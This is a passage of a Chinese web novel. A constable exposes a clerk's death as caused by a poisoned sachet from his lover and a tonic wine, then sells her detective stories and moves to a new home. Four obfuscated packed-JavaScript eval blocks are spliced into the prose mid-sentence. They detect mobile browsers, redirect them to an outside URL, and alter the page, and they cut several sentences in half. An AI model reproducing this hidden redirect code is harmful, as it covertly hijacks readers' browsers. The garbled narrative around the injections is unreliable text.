良久,柳氏才哽咽道:“是……是妾身的字……让穆捕头见笑了。”她闭上眼,仿佛用尽力气,“三年前,妾身因求子心切,误信一游方郎中之言,服了一剂虎狼之药,险些丧命……老爷悉心照料,并无半句责怪,只说‘人平安最要紧’。妾身……妾身却始终无法释怀。每每看到书中这些‘子孙绵延’、‘家宅平安’的字眼,便觉刺心……偶尔心绪难平,便在这无人留意的杂书上胡乱写画几句……实在是……实在是心中苦楚无处诉说……” 她泣不成声,那份积压多年的痛苦、愧疚和绝望,在此刻彻底决堤。 穆青青等她稍稍平息后,才问起香囊之事。 柳氏对此所知似乎不多:“老爷那个香囊,确是妾身所绣。里面的药材,老爷说是早年一位懂些医理的旧友所赠,是个安神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113268|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古方。每隔数月,老爷都会自已亲自配药,或者拿回一个配好的小药包,让妾身换上。妾身……不曾多问药方的事,只知老爷常年佩戴,说是公务劳神,离不得此物。” 她顿了顿,露出些许茫然,“那香气……是有些特别,但老爷喜欢,妾身便也习惯了。” “那位旧友,夫人可知是谁?” 柳氏茫然摇头:“老爷未曾明言,只说是故交。” 问话至此,柳氏提供的信息主要有:她因无子长期痛苦,对郑克礼有愧疚;她对香囊中药方的来源并不清楚;她与郑克礼近期关系因无子之事有些隔阂,但并不恶劣。 然而,穆青青心中的疑惑并未因此减轻。 与此同时,赵捕头那边的调查有了进展。 郑克礼昨日是与户房刘司吏等几位同僚在“悦来酒楼”用饭,主菜是时令大闸蟹,郑克礼食用颇多,并带回一食盒醉蟹。刘司吏等人均无异状。酒楼掌柜也证实,说郑克礼等人饮用的是酒楼自酿的“参茸酒”,此酒性热。 周仵作的初步验尸报告也出来了:郑克礼确系中毒身亡,毒理复杂。他胃内有蟹肉、酒液残留,另检出一些热性药材成分,这点与参茸酒相符。同时,郑克礼体内有长期服用某种寒凉药物的迹象,肝肾有损,这与之前“无子”的传闻对得上。 而香囊中的药材,初步只辨识出几种性质偏寒的草药。 寒性体质,这可能由长期佩戴含寒凉药物的香囊导致,加上突然大量摄入寒性醉蟹,再加上饮用热性药酒,导致郑典史体内寒热剧烈冲突,诱发急症暴毙。 这似乎是目前最合理的毒理推断。 但香囊中药物的具体成分和来源,仍是个谜。而郑夫人口中的“旧友”,似乎成了关键。 这位“旧友”为何会向郑克礼推荐这等有损身体的古方? 而身为郑典史枕边人的柳氏,自称不明药方来历,亦不知晓这位“旧友”身份,此言当真么? 穆青青心念微转,决定扩大侦查范围。 她请崔夫人相助,借女眷闲谈之机,从柳氏近身的嬷嬷及与郑家相熟的内眷口中,旁敲侧击柳氏近日可有异常举止,或是情绪起伏是否格外剧烈。 不两日,便有些零星言语传回。 几位相熟的夫人隐约提起,约莫两月前,柳氏自苏府探望苏夫人归来后,神色便不大对劲,眉宇间总笼着层散不去的郁气。自此之后,她愈发深居简出,连素日热衷的求子偏方也似忽然搁下了,整个人都变得郁郁寡欢的。 穆青青闻言微讶:郑夫人柳氏竟与苏府苏夫人有来往。 随即又觉了然。丰城县本就不大,体面人家不过十数户。郑典史官职虽不高,可苏府毕竟只是商贾,两家内眷偶有走动,也算不得稀奇。 只是……此事一与苏府牵上,她心下便莫名生出些异样,总觉得其中藏着些不足为外人道的曲折。 39. 郑典史之死(3) 穆青青决定兵分两路。一路由赵捕头带领,继续深挖郑克礼生前最后几日的详细行踪、接触的人和物,尤其是那一食盒醉蟹的来源与酒楼所用酒菜是否有异。另一路,则由她亲自从郑柳氏的情绪突变处入手。 她再次来到郑家。 这一次,她特意没有惊动仍在卧床休养的柳氏,而是请那位之前问话时一直陪伴在侧、眼圈红肿的周嬷嬷到偏厢问话。 这位嬷嬷是柳氏的陪嫁,跟随多年,最是忠心。 穆青青先是温言安抚,询问柳氏近日身体可有好转,饮食如何。 周嬷嬷一一答了,言语间满是对主母的心疼。 见时机差不多,穆青青话锋微转,语气带上几分恰到好处的感慨与探究:“周嬷嬷,您是夫人身边的老人了,最知夫人心性。我听闻夫人约两月前从苏府回来后便郁郁寡欢,连素日最挂心的求子之事也淡了,可是在苏府遇到了什么不顺心的事,或是……见到了什么不愿见的人?” 周嬷嬷闻言,脸上掠过一丝明显的愤懑与难以启齿,她低下头,双手无意识地绞着衣角,犹豫了半晌,才压低了声音,带着哭腔道:“穆捕头……这事,本不该由奴婢多嘴。可……可夫人心里实在太苦了!” 许是柳氏的病倒让周嬷嬷又急又痛,许是郑典史的死让她觉得再无隐瞒的必要。穆青青这一问,恰似抽掉了她心里最后一根绷紧的弦,周嬷嬷满腹的悲愤与委屈再也兜不住,倾泻而出。 她抬眼看了看门外,确认无人,才继续道:“那日,夫人去苏府探望苏夫人,两位夫人本来聊得极好,可是后来,苏府的李姨娘说是有事求见苏夫人,苏夫人也不见外,没请我们家夫人回避,直接就让那位李姨娘进来了。” 周嬷嬷的呼吸急促起来,声音里带上了恨意:“那李姨娘,穿了身簇新的海棠红织金褙子,那料子花样……奴婢绝不会认错!那是去年年底,夫人娘家好不容易从南边海商手里得来的两块‘织金海棠纹南番锦’,说是海外来的绝版花样,全大周怕也找不出第三块一模一样的!夫人自己留了一块珍藏着没舍得动,另一块去年给外祖家送年礼时一并送去了……可那李姨娘身上穿的,分明就是那料子!连织金的纹路、海棠花斜出的一小枝岔枝,全都一模一样!” 她擦了擦眼角:“夫人当时就愣住了,脸色白得吓人,死死盯着那料子。李姨娘还假模假样地上来行礼问安,身上那股子甜腻腻的香气,居然也同老爷常年佩戴的香囊里的气味有着七八分相似……夫人回来就病了一场,自此再没心思求什么子,人也沉默了许多,常常一个人坐着发呆落泪。奴婢伺候夫人这么多年,从没见她那样伤心过……那料子,当初可是老爷亲自跟车送去夫人外祖家的,可、可怎么就穿到了那李姨娘身上?老爷他……” 周嬷嬷哽咽着说不下去了,但意思已然明了。 那块独一无二的绝版布料,成了戳破郑典史虚伪面具的利刃。 周嬷嬷的话如同一道惊雷,劈开了穆青青脑中的迷雾。 绝版南番锦,只可能来自郑克礼。 想来是去年柳氏给外祖家送年礼时,郑克礼假借亲自跟车之便,暗中截下了这块料子,转头便送到了李姨娘手中。 他自以为做得隐秘,却不知这“织金海棠纹南番锦”的花样天下无双,反倒成了最刺眼的证据。 而李姨娘身为苏府得宠的妾室,苏家生意遍布南北,门路极广,弄到些稀罕难寻的药材香料,并非难事,这又与香囊里那来历不明、药性诡异的方子恰恰对上了。 至此,线索豁然贯通。 而且另一件旧事随之浮上穆青青心头。 那是在苏明绣失踪案告破后,李姨娘也曾来过县衙道谢。恰巧穆青青外出,后来郑典史转告说谢礼已放门房。穆青青事后查看,不过是些寻常糕饼与镇纸,当时并未在意。 如今想来,那次的“感谢”恐怕也不简单。案破之初苏府仍受关注,李姨娘若想与郑克礼联系,“答谢衙门”恰是最自然的借口。她真正要见的人,或许从来就不是穆青青。 穆青青心中雪亮:郑克礼常年佩戴、口称“旧友”所赠的香囊,其药材来源,只怕正是这位既能借用苏府门路、又与他暗通款曲的李姨娘。 所谓“旧友”,原就是枕畔的旧情人。 穆青青心中波澜骤起,但面上依旧平静。 她温言安抚了情绪激动的周嬷嬷,再三嘱咐她照顾好夫人,莫要将今日谈话外传,方才起身离开。走出郑家那扇略显清冷的黑漆木门,深秋午后的阳光斜照下来,带着些许暖意,却驱不散她心头的寒意。 郑典史与李姨娘的私情固然不堪,但穆青青此刻心中更关心的还是那条隐在风月之下的夺命线索:郑克礼身上那枚气味奇特、处处透着蹊跷的香囊。 周嬷嬷提到李姨娘身上“那股子甜腻腻的香气”,与香囊气味有七八分相似。这绝非巧合。 郑克礼常年佩戴可疑香囊,声称是“旧友”所赠。这位“旧友”身份不明,却赠给他能导致不育、损伤身体的药物。 如今,与郑克礼有私情、身上带有相同特殊气味的李姨娘浮出水面。那么,这位“旧友”,极有可能就是李姨娘,或是通过李姨娘获得的药物。 李姨娘应该就是香囊药物的来源或关键中间人。 但这些都只是推测,需要证据。 李姨娘一个深宅妾室,如何能获得这种罕见且药性特殊的药材? 是她自己有隐秘渠道,还是借助了苏府的资源? 她与郑克礼的私情背后,是否还藏着更深的图谋? 郑克礼的暴毙,与这香囊、与李姨娘,究竟有无直接关联? 疑云重重,穆青青决定双管齐下。 她先回到县衙,找来赵捕头,将周嬷嬷关于布料指认的情况简单说了一下。 “赵捕头,郑典史与苏府李姨娘之间,恐怕有些不足为外人道的牵扯。你派两个机灵又面生的兄弟,不要惊动苏府,只在外围悄悄打听两件事:一是李姨娘日常的采买行踪,尤其是否与药铺、香料铺有关的行踪;二是她嫁入苏府前的来历背景,越快越好。” 赵捕头神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118032|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色一肃,立刻领命:“明白。我让陆金二带人去办,那小子心眼活络。” 安排妥当,穆青青自己则带着那枚从郑克礼身上取下的香囊,以及那包药材碎屑,去了周仵作处。 “周叔,还得再麻烦您。这香囊和药材,可否再仔细分辨一下,除了已知的几味寒性草药,是否还有其他不易察觉的成分?尤其是……是否含有一些可能来自别处的、较为罕见的药材?”她补充道,“气味如此特殊,恐怕不寻常。” 周仵作接过,点头道:“我尽力。寻常草药好辨,若是稀罕东西,怕是要多费些功夫,或许还得托州府的同僚帮忙参详。” “有劳周叔了。” 离开殓房,穆青青又去了“济生堂”。 这是丰城县最大的药铺,掌柜也算得上是见识广博。她亮出腰牌,却未言明具体案件,只道:“掌柜的,衙门查案,需向您请教。可曾见过或听说过一种可用于安神的药材,气味甜腻,细闻之下又有一缕清苦,若长期佩戴或服用,可能于子嗣有碍?” 掌柜的闻言,蹙眉深思良久,又翻出几本厚厚的药材图鉴和笔记对照,最终还是摇头:“穆捕头,恕小老儿孤陋寡闻。寻常安神药材,并无这般甜中带苦的奇特气味。至于您说的……影响子嗣的药材,”他压低声音,“那都是些虎狼之物,气味冲鼻,绝非此等幽微香气。这等古怪配方,小老儿实未见过。”他顿了顿,似想起什么,“不过,约莫一年前,县衙的郑典史倒也曾来问过有没有一种海外传来的‘安神香’,说是友人推荐,气味描述与您所言有几分相似。只是那香名偏门,小店并无货源,郑典史当时颇有些失望,只说‘看来还得另寻门路’。” 郑典史也来找过所谓的“安神香”? 这证实了香囊药材并非本地易得之物,也侧面印证了其来源的特殊性。 接下来两日,穆青青按捺住急切,一边等待各方消息,一边将手头线索反复梳理、推演。陆金二那边很快有了回音。 “头儿,打听到了。”陆金二压低声音,“李姨娘原是邻县小李庄人,其父生前是个落魄书吏,家境一般。她约莫五年前被送入苏府。入府前,似乎并无特别之处。不过,我们打听到,她有个表亲,好像在邻县开过一间很小的生药铺子,后来关了。” “生药铺子?”穆青青眸光一闪。 “是,但关了有些年头了,李姨娘与她这表亲后来也少有往来。至于她入苏府后的采买,”陆金二挠挠头,“她深居简出,日常用度都由苏府统一采办,她身边的丫鬟偶尔会出去买些胭脂水粉、零嘴玩意儿,没见特意去过药铺。但是……”他压低声音,“苏府负责采买的管事,偶尔会帮老爷和几位得宠的姨娘,从外地捎带些稀罕玩意,听说李姨娘就曾托他带过几次‘海外香药’,说是夜里睡不安稳。” 海外香药? 穆青青心中一动。虽然不确定是否就是香囊药材,但这至少说明李姨娘有获取特殊药材的渠道,且可能借用了苏府的资源。 线索似乎隐隐指向李姨娘,但仍缺乏决定性的证据。 40. 郑典史之死(4) 就在这时,赵捕头兴冲冲地找来,手里拿着一个油布小包:“青青,有重大发现!按你的吩咐,我们把郑家书房又彻底翻查了一遍,连地砖都撬了几块,终于在书架后墙一块松动的砖石后面,发现了这个!” 穆青青接过,打开油布,里面是几封折叠整齐的信笺,以及一张当票。 信笺上的字迹明显是女子的笔迹。内容却令人脊背发凉。 信是李姨娘写给郑克礼的,开头便是缠绵的思念与露骨的情话,继而笔锋一转: “‘凝心香‘需常佩。此香令女子难孕,亦助男子避嫌,利于你我长久。苏明绣须及早除去,你寻的人何时动手?务必利落。她若消失,老头子膝下空虚,我自有办法让他信我怀了他的种。待孩儿落地站稳,病弱的苏夫人便好处置。老头子年事已高,出些“意外”也是常理。届时你以“无后”休弃家中那位,或令其“病故”。苏家产业尽归你我,孩儿亦是亲生,不必再躲藏。眼下稍作隐忍,往后皆是好光景。 望速速速行动。” 穆青青拿信纸的手一抖:李姨娘和郑典史居然还参与了苏明绣失踪一案?苏明绣被静安师太选中居然是李姨娘他们推波助澜的结果? 之后,穆青青又看向当票。 当票显示,郑克礼在数月前,典当了柳氏一支陪嫁的金簪,当期不短。 铁证如山! 私情、毒香、谋财害命的阴谋,全部串联在一起,逻辑链清清楚楚。 李姨娘不仅是郑克礼的情人,更是提供毒香、策划一切的主谋之一! 从信件看,李姨娘只告知他“‘凝心香‘亦助男子避嫌,利于你我长久。”,这更像是一种欺骗性的说辞,强调其“避嫌”和“利于长久”的功能,弱化甚至隐瞒了对男子身体的根本损害。郑克礼很可能是在不自知的情况下,慢性中毒。 至此,香囊来源、阴谋动机均已查明。最后剩下的,便是郑克礼暴毙的直接死因。 赵捕头对刘司吏的审讯很快也取得了突破。 在确凿证据和连番询问下,刘司吏心理防线崩溃,他哭嚎着交代:他为讨好郑克礼,那日确实在酒菜上花了心思,除了贵重的蟹和参茸酒,他还将自己偶然得来、被游商吹嘘为“扶阳圣品”的一小瓶药酒,偷偷加在了郑克礼的酒杯和打包的醉蟹卤汁中。“小人只是想……想让郑典史更尽兴,以后好多关照小人……小人真的不知道那东西有问题啊!” 周仵作结合密信内容、香囊药材分析,以及刘司吏添加的所谓“扶阳圣品”,给出了最终结论: 郑克礼长期佩戴含有阴损药材的“凝心香”,体内积累寒毒,五脏六腑早已虚空受损,犹如一座被蛀空的堤坝。案发当日,他先大量食用性寒的蟹肉,又饮用性热的药酒,体内寒热已然失衡。刘司吏添加的“扶阳”药酒,则成了压垮堤坝的最后一道猛烈洪峰,药性激烈冲突之下,导致他虚不受补,心脉骤停,暴毙而亡。 一场由奸情引发、被阴谋催化、由慢性毒害奠定基础、最终由一次愚蠢的“孝敬”引爆的死亡悲剧就这样阴差阳错的发生了。 案子移交县衙定罪。崔县令震怒不已。 李姨娘被苏老爷得知其毒计后,当即下令灌了哑药,连同其贴身丫鬟,一并发卖至西北苦寒之地为奴,永世不得回返。 刘司吏革职抄家,流放三千里。 柳氏与郑家义绝,带着自己的嫁妆和一部分郑家赔偿,离开了丰城县这个伤心地。或许,远离这里,她的伤痛才能慢慢平复。 郑克礼,聪明反被聪明误,贪恋美色与钱财,最终死在情人的慢性毒药和下属的“孝敬”之下,徒留骂名与唏嘘。 结案后的一个秋雨渐沥的傍晚,穆青青独自走在回住所的路上。 从江州回来后她这还是第一次准点下班,雨丝冰凉,打在脸上。她不禁又想起慈恩寺的慧明住持,想起郑克礼,想起那些被欲望和执念吞噬的面孔。 人心的险恶,有时候真的比任何奇案都更令人感到寒意。 路过郑家旧宅,那里已贴上封条,几天前还温馨静雅的小院如今寂寥无声。 墙头,几只麻雀躲在屋檐下,羽毛被细雨打湿,显得有些狼狈,却依旧叽叽喳喳。 穆青青听着这些鸟儿的啾啾声,总觉得有什么事儿被自己遗忘了。正要细想,人刚转过街角,前面茶馆檐下几个躲雨的闲汉聊得火热的声音飘了过来。 “……要我说,这世道,知人知面不知心!你瞅瞅《奇案录》上新登的那‘北地毒杀案’,那汤馆老板看着老实,谁能想到用‘赤芍’配着汤里的慢性毒药杀人?要不是那游方郎中细心,发现了药渣和账本不对,真就让他得逞了!” “看了看了!所以说,入口的东西最要当心!那故事里还特意提了‘赤芍’反什么……哦对,反某些寒性药材!说是混着吃容易坏事。我回去就跟我家婆娘说了,抓药吃药得遵医嘱,不能乱配。” “还有上期那‘江南窃玉案’也精彩!哪儿有什么狐仙,都是人装的!那书生心思是真细,窗闩上的蜂蜡、水缸底的玉佩……嘿,我算是看明白了,再玄乎的事,背后准有个说得通的理儿!” “对对,那故事里书生说的好,‘凡异常处,必有缘由’。我看郑典史这事……咳,虽说跟话本里的案子不一样,但理儿是不是有点像?身边人、贴身的物件儿,最易出问题……” “那‘凝心香’听着就邪门!话本里不也常有这种‘古方’害人的桥段么?所以说啊,来历不明的东西,再好也得掂量掂量!” 穆青青脚步微顿,原本有些沉郁的心绪,突然就被一缕暖风吹开了些许云雾。 《奇案录》?北地毒杀案?江南窃玉案? 那不就是她化名投稿的两个小故事吗! 路人竟将故事里的道理,用来琢磨、甚至“印证”现实案件了? 虽然联想得有些粗糙,甚至带着市井特有的夸张,但那种试图用故事里获得的“新知”去理解身边事的劲头,却让她心头微微一暖。 她的故事,真的有人在看,在讨论,甚至可能……真的让人多留了一份心眼? 这感觉有些奇妙,比起破案后的公文褒奖,更有一份实实在在的慰藉。更重要的是,这证明她的“副业”路子走通了! 稿费真的有了,影响力似乎也有了一点点了。 唇角不自觉弯了起来。 先前的些许低落被这意外得知的成就感驱散。是啊,写这些故事,不就是为了在茶余饭后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122123|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给人提个醒,增点见识么?看来效果不错。下次去书肆可得问问掌柜,那润笔费究竟几何,读者反响又如何。 或许,可以再写一个关于“古董买卖做局”或者“风水骗局”的案子?既要有趣,也得加些实用的门道进去。 回到东厢院,洗漱完毕。 穆青青躺下,倦意如潮水般涌来,几乎要将她淹没。就在意识即将沉入黑暗的前一瞬,她猛地清醒了过来:不对。 太安静了。 脑海里那个小动物们叽叽喳喳、喵喵汪汪的聊天群,已经好久好久没出现过了。 她屏住呼吸,集中精神,试图像以往那样去“倾听”或“感受”。 没有,一点反应都没有。 先前办案时全神贯注未曾留意,此刻松懈下来,这份不同寻常的寂静才凸显出来,带着一种令人心慌的空落。 难道……那个伴随她来到这个世界、时灵时不灵、却曾多次给她带来关键信息的小动物聊天群,悄无声息的消失了? 突然,一股倦意猛烈袭来。 穆青青根本顾不上心中的不安,只觉得眼皮沉重,意识缓缓下坠。就在她即将彻底失去意识、沉入梦境边缘的混沌之地时,一点极其微弱、却不容忽视的莹白光芒,毫无征兆地在她意识的最深处,幽然亮起。 紧接着,那光芒骤然扩展、延展,迅速而稳定地勾勒成一副她熟悉至极的光幕框架! 【系统提示:宿主在半年时间内连续侦破五起重大案件,信息处理与因果关联度符合升级条件。生态感知网络连接优化,权限提升。】 【当前权限:普通群友(可主动发言,周边信息感知力增强)】 【‘丰城县衙及周边’聊天群(当前在线:5)】 升级了?可以主动说话了?穆青青睡意顿消,好奇地尝试集中意念。 穆青青:【晚上好?】 光幕静默几秒。 大黑:【汪汪汪!说话的家伙是谁?新来的吗?】 瓦片:【喵呜……谁呀?不会跟我抢小鱼干吃吧?】 橘点点:【喵!鱼干!好想吃鱼干,好久没吃到两脚兽喂的小鱼干了!】 真的可以发言了! 穆青青忍俊不禁,用意念回复:【鱼干下次补上。最近好像没怎么看到你们?】 大黑:【汪汪!你是谁啊?我好像不认识你啊?】 灰灰:【吱吱!西街粮店那边最近掉米粒特别多!幸福!】 穆青青莞尔一笑,她知道了,这些小动物们并没有太强的聊天意识,基本都是想到什么,聊天群界面上就显示什么,偶尔彼此之间的想法能对应上,但大多数时候都是各说各话。 又聊了几句,从小动物们的只言片语中,穆青青得知瓦片和橘点点似乎结伴去探索新的“美食据点”了,穆青青才安心退出“群聊”,沉沉睡去。 第二天,穆青青特意在县衙后院找了一圈,果然不见两只猫的踪影。 问大黑,它也只哼哼唧唧表示那俩家伙找到好地方打牙祭去了,暂时乐不思蜀。 穆青青摇摇头,由它们去。自己回到书房,铺开新纸,开始构思下一个话本故事。 窗外的阳光落在纸上,明亮而温暖。 41. 搬家 穆青青已经有了稳定的俸禄,如今又有了话本稿费的期许,她心里踏实了不少。 衙门近些日子颇为太平,她得了空便专心琢磨起新的话本故事来。这一次,她想写些更贴近普通老百姓生活、能揭露些常见骗术的案子。 回想起曾在茶馆里听见的那些商旅小贩的闲谈,有很多走街串巷之人,会利用人们贪图小利或敬畏鬼神的心理设局行骗,她便铺开纸笔,以“某府城”为背景,写下了一则“神仙显灵”的诈骗故事。 故事里,有个游方道士在城中宣扬某处老宅有“财神显灵”,只需将铜钱用红布包好,置于宅中特定方位,三日后便能“钱生钱”,红布包里的铜钱越多,之后“钱生钱”也生得越多。 有三两位胆大贪财的百姓率先将红布包“献”于宅中。三日后当众挖出,布包里果然多了几枚铜钱。众人亲眼见得“钱能生钱”,都信以为真,纷纷解囊。 主角是个因伤退役的老兵,他冷眼旁观,注意到那几名首先“得利”的百姓总是围在道士身旁附和吆喝。于是他就在一个雨夜潜伏在那处老宅的破墙后面,果然没过多久,他就见到道士和他的同伙熟练地撬开活动砖石,从埋设的瓦瓮中取走钱袋,又借助磁石与铁管,为次日新的“显灵”布设机关。 破案当日,老兵提前联络了相熟的衙役,暗中围住老宅。待道士再次挥舞木剑、念咒“引财”时,他猛地从藏身处跃出,一脚踹开所谓“聚财位”的浮土,露出下面缠绕磁石的铁丝与空洞的瓦瓮。同伙在墙外操作铁管漏钱的行径,也被埋伏的差役当场擒住。 真相大白后,老兵指着狼狈的道士对众人道:“诸位且想,若神仙真能点石成金,又怎会贪图你我这几枚铜钱?凡眼前‘神迹’,必有脚下机关。”自此,城中百姓再见此类玄虚之事,总会先留心查看一番地面墙壁了。 穆青青想了想,担心之后可能有案子耽搁码字,于是又构思了一个提醒人们“财不露白”的小故事。 说的是城中一位富户小姐在绸缎庄试衣时,一对珍珠耳坠不翼而飞。店家与客人互相猜疑,争执不下。恰巧一位替东家采买的绣庄女管事在场,她心思细密,见状便留了心。 她观察到一名伙计格外“热心”,总是主动上前帮客人拿取、折叠试过的衣物,且其袖口看似比寻常裁得要紧一些。女管事不动声色,假意挑选布料靠近留意,果然瞥见那伙计在为一客人叠衣时,手法极快地将一小物件滑入了袖内。 她当即扬声指出,众人一同围上前。从那伙计特意改紧的袖口内的暗袋中,果真搜出了小姐丢失的珍珠耳坠。 原来,这伙计正是利用试衣时人们注意力分散、且易对“殷勤服务”放松警惕的时机行窃。事后女管事对众人说道:“贵重之物,须臾勿离眼前。遇人过分热心,不妨多存一分细心。”这故事正是提醒:财不露白,方是稳妥之道。 这两个故事,她都特意用浅白口语写成,避免生僻字词,力求能让识字不多的百姓听懂并记住一两个关键点。完稿后,她再次用左手誊抄,装入信封。 这日天气晴好,她换了男装,揣着新稿和那作为信物的半枚铜钱,再次前往书肆。 心里盘算着,这次若能拿到上回的稿费,再加上这几个月的俸禄积蓄,或许真该考虑搬出县衙了。总寄居在此,虽蒙崔大人夫妇厚待,到底不是长久之计。 且自己一个未嫁女子,长久居于官衙内院,于崔家官声、于自己行事,也渐有不便。年关将近,若能赁个合适的小院搬出去,也好让崔夫人安心。 书肆的伙计已认得那半枚铜钱,见她来了,立刻从柜下取出一个略显沉手的青布小袋,笑容满面:“小哥您可来了!东家吩咐了,您上次那两篇故事读者反响甚好,尤其是‘北地毒杀案’,不少客官都说长了见识。这是您的润笔,一共二两银子并六百文钱,您点点。” 二两多银子! 穆青青接过钱袋,指尖感受着那份重量,心中一阵欣喜。这比她预想的要多不少,看来书肆东家确实认可她的稿子。加上俸禄,她手头已然宽裕许多。 “多谢掌柜,多谢东家。”她压低声音道谢,又将新稿递上,“这是新作,烦请转交东家看看。” “好嘞!东家说了,您若有新稿,随时欢迎。”伙计热情接过。 揣着人生第一笔真正意义上的“稿费”,穆青青走出书肆,脚步都轻快了几分。她没有立刻回县衙,而是在城中较为清净的巷弄间慢慢转悠,留意是否有出租房屋的招贴。 接连看了几处,要么太大租金昂贵,要么位置过于偏僻不便。正有些气馁时,在离县衙约两三条街、靠近一处小集市却不喧闹的梧桐巷里,她看到一处小巧的一进院落外贴着“吉屋招租”的红纸。 院子不大,正房加东西厢房共三间,青砖灰瓦,看起来有些年头但维护得还算整洁,门前有棵梧桐树。最妙的是,巷子另一头走出去便是市集,买菜购物极其方便,而巷子本身又很安静。 穆青青记下地址,回去后便托赵捕头找人打听。得知房主是一对老夫妻,随儿子赴任去了,只想将房子租给爱惜房屋、背景清白的正经人家,租金要价也公道。 穆青青亲自去看了,屋内家具虽旧但齐全,院落干净,当即就付了定金定下了。 搬家那日,崔夫人很是不舍,拉着穆青青的手叮嘱了许多,又特意将小荷唤到跟前:“小荷,你的身契既已给了青青,往后你便好好跟着青青姑娘,她是个有本事又心善的,断不会亏待你。只是离了这院子,自己凡事要更机灵些。”小荷含着泪,用力点头,她早已清楚自己是穆青青的人,此番必定跟随。那止不住的眼泪,一半是因要离开待她亲厚的崔夫人和熟悉的县衙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128383|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后院,另一半也是对即将开始的新生活的些许茫然与不舍。穆青青轻轻揽了揽她的肩,温声道:“莫哭,梧桐巷离得不远,日后我们常回来看望夫人便是。你若想念小莲、刘婶,也得空就能回来寻她们说话。”又对崔夫人道:“夫人放心,小荷懂事勤快,有她帮我,我也轻松许多。” 刘婶蒸了满满一笼肉包子让她们带上,小莲也偷偷塞给小荷一双新做的棉袜,几个小丫鬟在角门处拉着小荷的手说了好些体己话,这才红着眼眶送她们主仆二人离开。 在赵捕头的招呼下,陆金一、陆金二等衙门同僚七手八脚地帮忙,很快就将穆青青那不多的行李搬入了梧桐巷的新居。穆青青简单收拾了一番,与众人约好改日设宴答谢,便送他们离开。回头看见小荷眼睛仍有些发红,却已麻利地开始整理杂物、擦拭桌椅,她心里也渐渐安定下来。 是夜,她躺在属于自己的床铺上,鼻尖似乎还能闻到新浆洗过的被褥阳光的气息,心中充满了安定与对新生活的期待。她试着在脑海中唤出光幕。 【‘梧桐巷及周边’聊天群(当前在线:8)】 果然,聊天群的覆盖范围随着她的居住地改变了!成员也似乎全是新面孔。 檐下麻雀:【啾啾!新来的两脚兽在收拾屋子,搬来几盆绿叶子,比上一家体面多啦!】 玳瑁猫:【喵……她身上有墨味,还有旧伤的血气。不过手指很软,扫地时还特意绕过我的窝,算是个明白人。】 大黄狗:【汪汪汪!她筐里有肉包子的味道!明天、明天准能讨到半个!】 灰鹦鹉:【咯咯咯,人多的时候两脚兽都喜欢说,恭喜发财~】 墙缝蛐蛐:【瞿瞿,瞿瞿!别念诗啦,她看过来啦!】 穆青青看着这些杂乱又充满生活气息的“发言”,忍不住笑了。她尝试着发送了一条信息:【大家好,我是新搬来的,以后请多关照。我会在院子角落固定放些清水和剩饭。】 信息发出后,光幕安静了一会儿。 隔壁大黄:【汪!真的吗?好人!明天就去喝!】 檐下雀:【啾!剩饭!希望有小米!】 灰鹦鹉:【恭喜发财~恭喜发财~】 墙缝蛐蛐:【瞿瞿,瞿瞿……别踩我的墙缝。】 玳瑁喵似乎有些高冷,没再出声。 看来“普通群友”的身份,确实能让她进行一些最基本的交流,虽然这些“邻居”们的关注点千奇百怪。她心满意足地退出“群聊”,安然入睡。 日子就这样平淡而充实地过着。穆青青每日照常去县衙点卯,处理些琐碎公务,闲暇时构思新的话本,偶尔通过“聊天群”听听巷子里的“八卦”,倒也自在。 这天,她正在衙内整理卷宗,赵捕头皱着眉走了进来:“青青,西市那边出了桩有点蹊跷的失窃案。” 42. 盗窃案 “哦?怎么个蹊跷法?” 赵捕头清了清嗓子道:“是‘陈记杂货铺’的陈老板报的案。说他店里收钱的小抽屉,这两天接连少了铜钱。数目不大,一次十几二十文,但每天都少,已经第三天了。” “可报了损失的具体时辰?”穆青青问。 